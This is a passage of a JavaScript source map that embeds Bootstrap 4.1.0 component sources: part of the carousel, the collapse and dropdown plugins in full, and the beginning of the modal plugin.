activeElement &&\n this._getItemByDirection(direction, activeElement)\n const nextElementIndex = this._getItemIndex(nextElement)\n const isCycling = Boolean(this._interval)\n\n let directionalClassName\n let orderClassName\n let eventDirectionName\n\n if (direction === Direction.NEXT) {\n directionalClassName = ClassName.LEFT\n orderClassName = ClassName.NEXT\n eventDirectionName = Direction.LEFT\n } else {\n directionalClassName = ClassName.RIGHT\n orderClassName = ClassName.PREV\n eventDirectionName = Direction.RIGHT\n }\n\n if (nextElement && $(nextElement).hasClass(ClassName.ACTIVE)) {\n this._isSliding = false\n return\n }\n\n const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n if (slideEvent.isDefaultPrevented()) {\n return\n }\n\n if (!activeElement || !nextElement) {\n // Some weirdness is happening, so we bail\n return\n }\n\n this._isSliding = true\n\n if (isCycling) {\n this.pause()\n }\n\n this._setActiveIndicatorElement(nextElement)\n\n const slidEvent = $.Event(Event.SLID, {\n relatedTarget: nextElement,\n direction: eventDirectionName,\n from: activeElementIndex,\n to: nextElementIndex\n })\n\n if ($(this._element).hasClass(ClassName.SLIDE)) {\n $(nextElement).addClass(orderClassName)\n\n Util.reflow(nextElement)\n\n $(activeElement).addClass(directionalClassName)\n $(nextElement).addClass(directionalClassName)\n\n const transitionDuration = Util.getTransitionDurationFromElement(activeElement)\n\n $(activeElement)\n .one(Util.TRANSITION_END, () => {\n $(nextElement)\n .removeClass(`${directionalClassName} ${orderClassName}`)\n .addClass(ClassName.ACTIVE)\n\n $(activeElement).removeClass(`${ClassName.ACTIVE} ${orderClassName} ${directionalClassName}`)\n\n this._isSliding = false\n\n setTimeout(() => $(this._element).trigger(slidEvent), 0)\n })\n .emulateTransitionEnd(transitionDuration)\n } else {\n $(activeElement).removeClass(ClassName.ACTIVE)\n $(nextElement).addClass(ClassName.ACTIVE)\n\n this._isSliding = false\n $(this._element).trigger(slidEvent)\n }\n\n if (isCycling) {\n this.cycle()\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n let _config = {\n ...Default,\n ...$(this).data()\n }\n\n if (typeof config === 'object') {\n _config = {\n ..._config,\n ...config\n }\n }\n\n const action = typeof config === 'string' ? config : _config.slide\n\n if (!data) {\n data = new Carousel(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'number') {\n data.to(config)\n } else if (typeof action === 'string') {\n if (typeof data[action] === 'undefined') {\n throw new TypeError(`No method named \"${action}\"`)\n }\n data[action]()\n } else if (_config.interval) {\n data.pause()\n data.cycle()\n }\n })\n }\n\n static _dataApiClickHandler(event) {\n const selector = Util.getSelectorFromElement(this)\n\n if (!selector) {\n return\n }\n\n const target = $(selector)[0]\n\n if (!target || !$(target).hasClass(ClassName.CAROUSEL)) {\n return\n }\n\n const config = {\n ...$(target).data(),\n ...$(this).data()\n }\n const slideIndex = this.getAttribute('data-slide-to')\n\n if (slideIndex) {\n config.interval = false\n }\n\n Carousel._jQueryInterface.call($(target), config)\n\n if (slideIndex) {\n $(target).data(DATA_KEY).to(slideIndex)\n }\n\n event.preventDefault()\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler)\n\n $(window).on(Event.LOAD_DATA_API, () => {\n $(Selector.DATA_RIDE).each(function () {\n const $carousel = $(this)\n Carousel._jQueryInterface.call($carousel, $carousel.data())\n })\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Carousel._jQueryInterface\n $.fn[NAME].Constructor = Carousel\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Carousel._jQueryInterface\n }\n\n return Carousel\n})($)\n\nexport default Carousel\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Collapse = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'collapse'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.collapse'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Default = {\n toggle : true,\n parent : ''\n }\n\n const DefaultType = {\n toggle : 'boolean',\n parent : '(string|element)'\n }\n\n const Event = {\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n SHOW : 'show',\n COLLAPSE : 'collapse',\n COLLAPSING : 'collapsing',\n COLLAPSED : 'collapsed'\n }\n\n const Dimension = {\n WIDTH : 'width',\n HEIGHT : 'height'\n }\n\n const Selector = {\n ACTIVES : '.show, .collapsing',\n DATA_TOGGLE : '[data-toggle=\"collapse\"]'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Collapse {\n constructor(element, config) {\n this._isTransitioning = false\n this._element = element\n this._config = this._getConfig(config)\n this._triggerArray = $.makeArray($(\n `[data-toggle=\"collapse\"][href=\"#${element.id}\"],` +\n `[data-toggle=\"collapse\"][data-target=\"#${element.id}\"]`\n ))\n const tabToggles = $(Selector.DATA_TOGGLE)\n for (let i = 0; i < tabToggles.length; i++) {\n const elem = tabToggles[i]\n const selector = Util.getSelectorFromElement(elem)\n if (selector !== null && $(selector).filter(element).length > 0) {\n this._selector = selector\n this._triggerArray.push(elem)\n }\n }\n\n this._parent = this._config.parent ? this._getParent() : null\n\n if (!this._config.parent) {\n this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n }\n\n if (this._config.toggle) {\n this.toggle()\n }\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle() {\n if ($(this._element).hasClass(ClassName.SHOW)) {\n this.hide()\n } else {\n this.show()\n }\n }\n\n show() {\n if (this._isTransitioning ||\n $(this._element).hasClass(ClassName.SHOW)) {\n return\n }\n\n let actives\n let activesData\n\n if (this._parent) {\n actives = $.makeArray(\n $(this._parent)\n .find(Selector.ACTIVES)\n .filter(`[data-parent=\"${this._config.parent}\"]`)\n )\n if (actives.length === 0) {\n actives = null\n }\n }\n\n if (actives) {\n activesData = $(actives).not(this._selector).data(DATA_KEY)\n if (activesData && activesData._isTransitioning) {\n return\n }\n }\n\n const startEvent = $.Event(Event.SHOW)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n if (actives) {\n Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide')\n if (!activesData) {\n $(actives).data(DATA_KEY, null)\n }\n }\n\n const dimension = this._getDimension()\n\n $(this._element)\n .removeClass(ClassName.COLLAPSE)\n .addClass(ClassName.COLLAPSING)\n\n this._element.style[dimension] = 0\n\n if (this._triggerArray.length > 0) {\n $(this._triggerArray)\n .removeClass(ClassName.COLLAPSED)\n .attr('aria-expanded', true)\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n $(this._element)\n .removeClass(ClassName.COLLAPSING)\n .addClass(ClassName.COLLAPSE)\n .addClass(ClassName.SHOW)\n\n this._element.style[dimension] = ''\n\n this.setTransitioning(false)\n\n $(this._element).trigger(Event.SHOWN)\n }\n\n const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n const scrollSize = `scroll${capitalizedDimension}`\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n\n this._element.style[dimension] = `${this._element[scrollSize]}px`\n }\n\n hide() {\n if (this._isTransitioning ||\n !$(this._element).hasClass(ClassName.SHOW)) {\n return\n }\n\n const startEvent = $.Event(Event.HIDE)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n const dimension = this._getDimension()\n\n this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n Util.reflow(this._element)\n\n $(this._element)\n .addClass(ClassName.COLLAPSING)\n .removeClass(ClassName.COLLAPSE)\n .removeClass(ClassName.SHOW)\n\n if (this._triggerArray.length > 0) {\n for (let i = 0; i < this._triggerArray.length; i++) {\n const trigger = this._triggerArray[i]\n const selector = Util.getSelectorFromElement(trigger)\n if (selector !== null) {\n const $elem = $(selector)\n if (!$elem.hasClass(ClassName.SHOW)) {\n $(trigger).addClass(ClassName.COLLAPSED)\n .attr('aria-expanded', false)\n }\n }\n }\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n this.setTransitioning(false)\n $(this._element)\n .removeClass(ClassName.COLLAPSING)\n .addClass(ClassName.COLLAPSE)\n .trigger(Event.HIDDEN)\n }\n\n this._element.style[dimension] = ''\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n }\n\n setTransitioning(isTransitioning) {\n this._isTransitioning = isTransitioning\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n\n this._config = null\n this._parent = null\n this._element = null\n this._triggerArray = null\n this._isTransitioning = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n config.toggle = Boolean(config.toggle) // Coerce string values\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _getDimension() {\n const hasWidth = $(this._element).hasClass(Dimension.WIDTH)\n return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT\n }\n\n _getParent() {\n let parent = null\n if (Util.isElement(this._config.parent)) {\n parent = this._config.parent\n\n // It's a jQuery object\n if (typeof this._config.parent.jquery !== 'undefined') {\n parent = this._config.parent[0]\n }\n } else {\n parent = $(this._config.parent)[0]\n }\n\n const selector =\n `[data-toggle=\"collapse\"][data-parent=\"${this._config.parent}\"]`\n\n $(parent).find(selector).each((i, element) => {\n this._addAriaAndCollapsedClass(\n Collapse._getTargetFromElement(element),\n [element]\n )\n })\n\n return parent\n }\n\n _addAriaAndCollapsedClass(element, triggerArray) {\n if (element) {\n const isOpen = $(element).hasClass(ClassName.SHOW)\n\n if (triggerArray.length > 0) {\n $(triggerArray)\n .toggleClass(ClassName.COLLAPSED, !isOpen)\n .attr('aria-expanded', isOpen)\n }\n }\n }\n\n // Static\n\n static _getTargetFromElement(element) {\n const selector = Util.getSelectorFromElement(element)\n return selector ? $(selector)[0] : null\n }\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $this = $(this)\n let data = $this.data(DATA_KEY)\n const _config = {\n ...Default,\n ...$this.data(),\n ...typeof config === 'object' && config\n }\n\n if (!data && _config.toggle && /show|hide/.test(config)) {\n _config.toggle = false\n }\n\n if (!data) {\n data = new Collapse(this, _config)\n $this.data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n // preventDefault only for <a> elements (which change the URL) not inside the collapsible element\n if (event.currentTarget.tagName === 'A') {\n event.preventDefault()\n }\n\n const $trigger = $(this)\n const selector = Util.getSelectorFromElement(this)\n $(selector).each(function () {\n const $target = $(this)\n const data = $target.data(DATA_KEY)\n const config = data ? 'toggle' : $trigger.data()\n Collapse._jQueryInterface.call($target, config)\n })\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Collapse._jQueryInterface\n $.fn[NAME].Constructor = Collapse\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Collapse._jQueryInterface\n }\n\n return Collapse\n})($)\n\nexport default Collapse\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Dropdown = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'dropdown'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.dropdown'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\n const SPACE_KEYCODE = 32 // KeyboardEvent.which value for space key\n const TAB_KEYCODE = 9 // KeyboardEvent.which value for tab key\n const ARROW_UP_KEYCODE = 38 // KeyboardEvent.which value for up arrow key\n const ARROW_DOWN_KEYCODE = 40 // KeyboardEvent.which value for down arrow key\n const RIGHT_MOUSE_BUTTON_WHICH = 3 // MouseEvent.which value for the right button (assuming a right-handed mouse)\n const REGEXP_KEYDOWN = new RegExp(`${ARROW_UP_KEYCODE}|${ARROW_DOWN_KEYCODE}|${ESCAPE_KEYCODE}`)\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`,\n KEYDOWN_DATA_API : `keydown${EVENT_KEY}${DATA_API_KEY}`,\n KEYUP_DATA_API : `keyup${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DISABLED : 'disabled',\n SHOW : 'show',\n DROPUP : 'dropup',\n DROPRIGHT : 'dropright',\n DROPLEFT : 'dropleft',\n MENURIGHT : 'dropdown-menu-right',\n MENULEFT : 'dropdown-menu-left',\n POSITION_STATIC : 'position-static'\n }\n\n const Selector = {\n DATA_TOGGLE : '[data-toggle=\"dropdown\"]',\n FORM_CHILD : '.dropdown form',\n MENU : '.dropdown-menu',\n NAVBAR_NAV : '.navbar-nav',\n VISIBLE_ITEMS : '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n }\n\n const AttachmentMap = {\n TOP : 'top-start',\n TOPEND : 'top-end',\n BOTTOM : 'bottom-start',\n BOTTOMEND : 'bottom-end',\n RIGHT : 'right-start',\n RIGHTEND : 'right-end',\n LEFT : 'left-start',\n LEFTEND : 'left-end'\n }\n\n const Default = {\n offset : 0,\n flip : true,\n boundary : 'scrollParent',\n reference : 'toggle',\n display : 'dynamic'\n }\n\n const DefaultType = {\n offset : '(number|string|function)',\n flip : 'boolean',\n boundary : '(string|element)',\n reference : '(string|element)',\n display : 'string'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Dropdown {\n constructor(element, config) {\n this._element = element\n this._popper = null\n this._config = this._getConfig(config)\n this._menu = this._getMenuElement()\n this._inNavbar = this._detectNavbar()\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n toggle() {\n if (this._element.disabled || $(this._element).hasClass(ClassName.DISABLED)) {\n return\n }\n\n const parent = Dropdown._getParentFromElement(this._element)\n const isActive = $(this._menu).hasClass(ClassName.SHOW)\n\n Dropdown._clearMenus()\n\n if (isActive) {\n return\n }\n\n const relatedTarget = {\n relatedTarget: this._element\n }\n const showEvent = $.Event(Event.SHOW, relatedTarget)\n\n $(parent).trigger(showEvent)\n\n if (showEvent.isDefaultPrevented()) {\n return\n }\n\n // Disable totally Popper.js for Dropdown in Navbar\n if (!this._inNavbar) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)')\n }\n\n let referenceElement = this._element\n\n if (this._config.reference === 'parent') {\n referenceElement = parent\n } else if (Util.isElement(this._config.reference)) {\n referenceElement = this._config.reference\n\n // Check if it's jQuery element\n if (typeof this._config.reference.jquery !== 'undefined') {\n referenceElement = this._config.reference[0]\n }\n }\n\n // If boundary is not `scrollParent`, then set position to `static`\n // to allow the menu to \"escape\" the scroll parent's boundaries\n // https://github.com/twbs/bootstrap/issues/24251\n if (this._config.boundary !== 'scrollParent') {\n $(parent).addClass(ClassName.POSITION_STATIC)\n }\n this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig())\n }\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement &&\n $(parent).closest(Selector.NAVBAR_NAV).length === 0) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n this._element.focus()\n this._element.setAttribute('aria-expanded', true)\n\n $(this._menu).toggleClass(ClassName.SHOW)\n $(parent)\n .toggleClass(ClassName.SHOW)\n .trigger($.Event(Event.SHOWN, relatedTarget))\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n $(this._element).off(EVENT_KEY)\n this._element = null\n this._menu = null\n if (this._popper !== null) {\n this._popper.destroy()\n this._popper = null\n }\n }\n\n update() {\n this._inNavbar = this._detectNavbar()\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Private\n\n _addEventListeners() {\n $(this._element).on(Event.CLICK, (event) => {\n event.preventDefault()\n event.stopPropagation()\n this.toggle()\n })\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...$(this._element).data(),\n ...config\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n return config\n }\n\n _getMenuElement() {\n if (!this._menu) {\n const parent = Dropdown._getParentFromElement(this._element)\n this._menu = $(parent).find(Selector.MENU)[0]\n }\n return this._menu\n }\n\n _getPlacement() {\n const $parentDropdown = $(this._element).parent()\n let placement = AttachmentMap.BOTTOM\n\n // Handle dropup\n if ($parentDropdown.hasClass(ClassName.DROPUP)) {\n placement = AttachmentMap.TOP\n if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.TOPEND\n }\n } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {\n placement = AttachmentMap.RIGHT\n } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {\n placement = AttachmentMap.LEFT\n } else if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.BOTTOMEND\n }\n return placement\n }\n\n _detectNavbar() {\n return $(this._element).closest('.navbar').length > 0\n }\n\n _getPopperConfig() {\n const offsetConf = {}\n if (typeof this._config.offset === 'function') {\n offsetConf.fn = (data) => {\n data.offsets = {\n ...data.offsets,\n ...this._config.offset(data.offsets) || {}\n }\n return data\n }\n } else {\n offsetConf.offset = this._config.offset\n }\n const popperConfig = {\n placement: this._getPlacement(),\n modifiers: {\n offset: offsetConf,\n flip: {\n enabled: this._config.flip\n },\n preventOverflow: {\n boundariesElement: this._config.boundary\n }\n }\n }\n\n // Disable Popper.js if we have a static display\n if (this._config.display === 'static') {\n popperConfig.modifiers.applyStyle = {\n enabled: false\n }\n }\n return popperConfig\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data) {\n data = new Dropdown(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n\n static _clearMenus(event) {\n if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH ||\n event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n return\n }\n\n const toggles = $.makeArray($(Selector.DATA_TOGGLE))\n for (let i = 0; i < toggles.length; i++) {\n const parent = Dropdown._getParentFromElement(toggles[i])\n const context = $(toggles[i]).data(DATA_KEY)\n const relatedTarget = {\n relatedTarget: toggles[i]\n }\n\n if (!context) {\n continue\n }\n\n const dropdownMenu = context._menu\n if (!$(parent).hasClass(ClassName.SHOW)) {\n continue\n }\n\n if (event && (event.type === 'click' &&\n /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) &&\n $.contains(parent, event.target)) {\n continue\n }\n\n const hideEvent = $.Event(Event.HIDE, relatedTarget)\n $(parent).trigger(hideEvent)\n if (hideEvent.isDefaultPrevented()) {\n continue\n }\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n toggles[i].setAttribute('aria-expanded', 'false')\n\n $(dropdownMenu).removeClass(ClassName.SHOW)\n $(parent)\n .removeClass(ClassName.SHOW)\n .trigger($.Event(Event.HIDDEN, relatedTarget))\n }\n }\n\n static _getParentFromElement(element) {\n let parent\n const selector = Util.getSelectorFromElement(element)\n\n if (selector) {\n parent = $(selector)[0]\n }\n\n return parent || element.parentNode\n }\n\n // eslint-disable-next-line complexity\n static _dataApiKeydownHandler(event) {\n // If not input/textarea:\n // - And not a key in REGEXP_KEYDOWN => not a dropdown command\n // If input/textarea:\n // - If space key => not a dropdown command\n // - If key is other than escape\n // - If key is not up or down => not a dropdown command\n // - If trigger inside the menu => not a dropdown command\n if (/input|textarea/i.test(event.target.tagName)\n ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE &&\n (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE ||\n $(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n return\n }\n\n event.preventDefault()\n event.stopPropagation()\n\n if (this.disabled || $(this).hasClass(ClassName.DISABLED)) {\n return\n }\n\n const parent = Dropdown._getParentFromElement(this)\n const isActive = $(parent).hasClass(ClassName.SHOW)\n\n if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) ||\n isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n if (event.which === ESCAPE_KEYCODE) {\n const toggle = $(parent).find(Selector.DATA_TOGGLE)[0]\n $(toggle).trigger('focus')\n }\n\n $(this).trigger('click')\n return\n }\n\n const items = $(parent).find(Selector.VISIBLE_ITEMS).get()\n\n if (items.length === 0) {\n return\n }\n\n let index = items.indexOf(event.target)\n\n if (event.which === ARROW_UP_KEYCODE && index > 0) { // Up\n index--\n }\n\n if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { // Down\n index++\n }\n\n if (index < 0) {\n index = 0\n }\n\n items[index].focus()\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler)\n .on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler)\n .on(`${Event.CLICK_DATA_API} ${Event.KEYUP_DATA_API}`, Dropdown._clearMenus)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n event.preventDefault()\n event.stopPropagation()\n Dropdown._jQueryInterface.call($(this), 'toggle')\n })\n .on(Event.CLICK_DATA_API, Selector.FORM_CHILD, (e) => {\n e.stopPropagation()\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Dropdown._jQueryInterface\n $.fn[NAME].Constructor = Dropdown\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Dropdown._jQueryInterface\n }\n\n return Dropdown\n})($, Popper)\n\nexport default Dropdown\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Modal = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'modal'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.modal'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\n\n const Default = {\n backdrop : true,\n keyboard : true,\n focus : true,\n show : true\n }\n\n const DefaultType = {\n backdrop : '(boolean|string)',\n keyboard : 'boolean',\n focus : 'boolean',\n show : 'boolean'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n RESIZE : `resize${EVENT_KEY}`,\n CLICK_DISMISS : `click.dismiss${EVENT_KEY}`,\n KEYDOWN_DISMISS : `keydown.dismiss${EVENT_KEY}`,\n MOUSEUP_DISMISS : `mouseup.dismiss${EVENT_KEY}`,\n MOUSEDOWN_DISMISS : `mousedown.dismiss${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n SCROLLBAR_MEASURER : 'modal-scrollbar-measure',\n BACKDROP : 'modal-backdrop',\n OPEN : 'modal-open',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n DIALOG : '.modal-dialog',\n DATA_TOGGLE : '[data-toggle=\"modal\"]',\n DATA_DISMISS : '[data-dismiss=\"modal\"]',\n FIXED_CONTENT : '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n STICKY_CONTENT : '.sticky-top',\n NAVBAR_TOGGLER : '.navbar-toggler'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Modal {\n constructor(element, config) {\n this._config = this._getConfig(config)\n this._element = element\n this._dialog = $(element).find(Selector.DIALOG)[0]\n this._backdrop = null\n this._isShown = false\n this._isBodyOverflowing = false\n this._ignoreBackdropClick = false\n this._scrollbarWidth = 0\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle(relatedTarget) {\n return this._isShown ? this.hide() : this.show(relatedTarget)\n }\n\n show(relatedTarget) {\n if (this._isTransitioning || this._isShown) {\n return\n }\n\n if ($(this._element).hasClass(ClassName.FADE)) {\n this._isTransitioning = true\n }\n\n const showEvent = $.Event(Event.SHOW, {\n relatedTarget\n })\n\n $(this._element).trigger(showEvent)\n\n if (this._isShown || showEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = true\n\n this._checkScrollbar()\n this._setScrollbar()\n\n this._adjustDialog()\n\n $(document.body).addClass(ClassName.OPEN)\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(this._element).on(\n Event.CLICK_DISMISS,\n Selector.DATA_DISMISS,\n (event) => this.hide(event)\n )\n\n $(this._dialog).on(Event.MOUSEDOWN_DISMISS, () => {\n $(this._element).one(Event.MOUSEUP_DISMISS, (event) => {\n if ($(event.target).is(this._element)) {\n this._ignoreBackdropClick = true\n }\n })\n })\n\n this._showBackdrop(() => this._showElement(relatedTarget))\n }\n\n hide(event) {\n if (event) {\n event.preventDefault()\n }\n\n if (this._isTransitioning || !this._isShown) {\n return\n }\n\n const hideEvent = $.Event(Event.HIDE)\n\n $(this._element).trigger(hideEvent)\n\n if (!this._isShown || hideEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = false\n const transition = $(this._element).hasClass(ClassName.FADE)\n\n if (transition) {\n this._isTransitioning = true\n }\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(document).off(Event.FOCUSIN)\n\n $(this._element).removeClass(ClassName.SHOW)\n\n $(this._element).off(Event.CLICK_DISMISS)\n $(this._dialog).off(Event.MOUSEDOWN_DISMISS)\n\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, (event) => this._hideModal(event))\n .emulateTransitionEnd(transitionDuration)\n } else {\n this._hideModal()\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n\n $(window, document, this._element, this._backdrop).off(EVENT_KEY)\n\n this._config = null\n this._element = null\n this._dialog = null\n this._backdrop = null\n this._isShown = null\n this._isBodyOverflowing = null\n this._ignoreBackdropClick = null\n this._scrollbarWidth = null\n }\n\n handleUpdate() {\n this._adjustDialog()\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _showElement(relatedTarget) {\n const transition = $(this._element).hasClass(ClassName.FADE)\n\n if (!this._element.parentNode ||\n this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n // Don't move modal's DOM position\n document.body.appendChild(this._element)\n }\n\n this._element.style.display = 'block'\n this._element.removeAttribute('aria-hidden')\n this._element.scrollTop = 0\n\n if (transition) 